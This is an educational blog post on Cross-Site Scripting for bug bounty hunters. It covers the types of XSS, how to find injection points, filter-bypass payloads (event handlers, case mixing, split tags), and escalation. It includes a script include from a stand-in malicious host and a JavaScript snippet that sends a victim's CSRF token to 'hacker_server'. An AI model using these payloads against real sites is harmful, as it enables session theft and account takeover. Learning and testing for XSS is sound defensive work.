Explaining vulnerabilities : Cross Site Scripting (XSS)

Falken Smaze
8 min readNov 18, 2022

Cross-Site Scripting (or XSS) is one of the most common bugs reported to bug bounty programs. It’s so prevalent that, every single year, it shows up in the OWASP list, being in the top 10 vulnerabilities for web apps.

This is , in my opinion, by far the most important vulnerability to know as it opens a lot of gates to other vulnerabilities which are found or even exploited in a somewhat similar matter.

# What is XSS?

  • > An XSS vulnerability occurs when hackers can execute custom scripts on a user’s browser. If the web application fails to distinguish between user input and the legitimate source code that makes the app itself, attackers can embed (/inject) their own code into pages that are viewed by other users.
  • If a user accesses a web page that has been infected with malicious JavaScript, one can fall victim to cookie theft, personal information leakage, phishing and the list goes on.

# How does it work?

  • In the exploitation phase of an XSS vulnerability, an attacker usually injects an executable script into the HTML page of the website , that are being viewed by a potential victim/user. So before we try to even understand how these exploits work, let’s first understand JavaScript and HTML.

Web pages are made up of HTML code. In HTML codes, we have elements. For instance, an <h1> tag defines a web page’s header, with the font size of 1, whilst a <p> tag defines a paragraph of text. To close such tags, the syntax would be </h1> or </p> . For educational purposes, you can try to save the following code in an .html file and run it in your own browser.

<html>
<h1>subscribe to falkensmz</h1>
<p>you prolly just got hacked</p>
</html>

There are many tags that we can use in HTML, however the one that interests us the most momentarily is the <script> tag, which allows us to include executable scripts within an HTML page.

<html>
<script>alert("hello world!");</script>
</html>

This will create a pop-up on the web page displaying the message “hello world!”.

However, we can even load external scripts , and it would look something like this : <script src=”https://falkensmz-scripts.hack/mal.js”></script>. And once the page is loaded, the script that is hosted on https://falkensmz-scripts.hack/mal.js will be automatically executed on the vicitm’s browser.

So, if we can insert JS code in an HTML page, we can hack the victim’s browser.

The simplest example of an XSS attack.

Here, we can see that we can provied user-input in the “Search the blog…” search field. So we can type something like “1” in there, inspect it , and see where it falls in the HTML.

We can see that the string/user-input , is unsafely embeded in the HTML page, so we can simply try to create another element, a <script> element.

By searching for “<script>alert(1);</script>”, we ended up creating this <script> element , and the HTML code ran it on our browser, meaning, we found an XSS.

# Types of XSS

Stored XSS

  • It happens when user input is stored on a server and retrieved unsafely. When the application accepts user input without proper validation, stores it in the servers, and then renders it on the user’s interface/browser without sanitization, whatever an attacker injects as JS code, is ran on the victim’s brwoser, potentially taking over some bit of information , or the entire browser itself.
  • They are by far the most severe type of XSS , because it does not require any Attacker-Victim interaction, as the malicious JavaScript code gets stored in the servers themselves. A victim does not have to click on any links to be taken to a modified web page. If , for instance, in a blog post , in the name of the blog there is an sotred XSS vulnerability that has been exploited by an attacker and a random user views that page, the JS code runs automatically

Reflected XSS

  • This happens when user input is reflected/returned to the user, without being stored in a database.
  • The example that I have showed you a big higher up, is an example of a reflected XSS . The web app took that user input, processed it server-side and displayed it to us.
  • As I’ve said earlier, with stored XSS, we only have to exploit the vulnerability, and the JavaScript code that we injected in the database will automatically run when a user runs the infected page. However, with reflected XSS, the exploitation is a little bit different.
  • We have to send the link of the infected web page to our victim, and when the victim clicks the link, the JS code we injected will run on their browser.

Blind XSS

  • These kinds of XSS vulns are the harder to identify. Simply put, you can inject JS code, however, that code gets executed in another part of the application. (we’d go over the hunting and exploitation for this one in another post)

DOM-Based XSS

  • This is similar to reflected XSS, with the only difference that the user input never leaves the user’s browser. In DOM-Based xss, the web app takes in user input, processes it on the victim’s browser, and then returns it to the user.
  • DOM is a technology used by browsers to render a web page, so DOM XSS targets the DOM directly, meaning that if malicious code gets injected in the user’s DOM, it modifies the local copy of the actual web page, with the malicious code.

Self XSS

  • This requires that the victims input the malicious payload themselves. These are mostly not accepted by bug bounty programs, however, you can prove impact if you can use it in conjunction with other vulnerabilities.
  • An example will be, CSRF+Self XSS (we’ll talk about CSRF in another post/video)

Find XSS vulns

  • Look for XSS anywhere where user input is accepted, AND gets rendered on the page.
  • I recommend using a proxy (recommendation : Burp )while hunting for XSS , or really any vulnerability as it is easier to look through the requests and responses of the web server.
  • Look for POST requests in the proxy.
  • Inspect the page, and search for the string/number/value/any input that you’ve entered INSIDE the HTML.
  • Analyse the place where the input gets injected in the HTML page
  • Try to insert payloads , depending on the scenario ,in the user input fields :
Bug Bounty Bootcamp book

Look for XSS payloads online to find many more payloads that might work better for you in your specific scenario.

Bypass XSS protection mechanisms

Use different syntax

  • Applications usually sanitize <script> tags in user input. If that’s the case, try executing XSS that doesn’t use a <script> tag. For example, you can do something like this
<!-- First payload example -->
<img src="test" onerror="alert('hello world!');"> (1)
<!-- Second payload example-->
<button onmouseover="alert('xss');">xss</button> (2)

These are 2 simple examples of XSS payloads that do not user the <script> tags. The first payload (1) firstly loads an image which doesn’t exist anywhere , which will cause an error. Because of that, I used the attribute “onerror” , which will run any JS code if an error occurs, so in the end, the XSS code gets executed.

In the other example (2), we create a button in the HTML, and we pass in the attribute “onmouseover”. If a user hovers over the button with their mouse, the XSS code gets executed.

Use capitalization and encoding

  • Instead of using something like :
<script>alert("hello");</script>
  • Use something like :
<sCrIpT>alert("hello");</sCrIpT>

This may confuse the application into running the code, if it hasn’t been proprely programmed.

Filter logic errors

<scrip<script>t>
alert("hello");
</scrip</script>t>

The <script> tag cuts another <script> tag in two. If the logic is bad, the filter won’t recognize those broken tags as legitemate, but once the filter removes the intact tags from the payload, the rendered input becomes a prefectly valid piece of JS code:

<script>alert("hello");</script>

Escalate the attack for fun n’ profit

  • Obviously , the impact of an XSS bounty/vulnerability varies on the a lot of factors , for example the type of XSS. Stored XSS is injected in a public form can attack absoulutely anyone who accesses the infected page whilst reflected or Dom XSS can only afffect users who fall victim to phishing/click a link designed by the attacker, and obviously, there’s self-xss which requires a lot of user intereaction and social engineering techniques to execute, so they are normally considered low-impact to no impact at all in a bug bounty program
  • If exploited correctly, XSS can lead to — access to customer data, internal files leakage, API keys leakage, cookie theft, or even RCE, by uploading a shell , stealing Admin creds/session cookies , which can then lead to Admin level access on the website (usually turns into RCE)
  • You can even combine XSS with other vulnerabilities. A combination that I really like is XSS + CSRF. Let’s say there’s a function that changes the password of a user. There is a potential vulnerabiliy for CSRF, however you realise that in order to send out a CSRF request, you need to have the CSRF token, and there’s no way of bypassing that. Prior to your findings, you remember you exploited an XSS vulnerability earlier. Here’s how a payload that steals the CSRF token would look like:
var token = document.getElementsById('CSRF-TOKEN')[0];
var xhr = new XMLHttpRequest();
xhr.open("GET", "http://hacker_server/?token="+token, true);
xhr.send(null);

This is a request , that when sent to the victim, would lead them into unknowingly sending you their CSRF token, which you would use for further exploitation. Obviously, you can get creative with this and exploit it even further.

Automation

  • If automatic testing is allowed on the program that you’re pentesting, you can use Burp intruder (paid)or other fuzzers to automatically scan for XSS on your target (free one is: Zap).

Conclusion

  • Look for user input opportunities.
  • Insert XSS payloads into the user input fields you’ve found.
  • Confirm the impact by checking whether or not the JS code runs on your browser
  • If payloads don’t execute, try bypassing XSS security/protection mechanism as taught earlier
  • Automate XSS hunting if allowed.
  • Escalate the vulnerability to the highest impact

--

--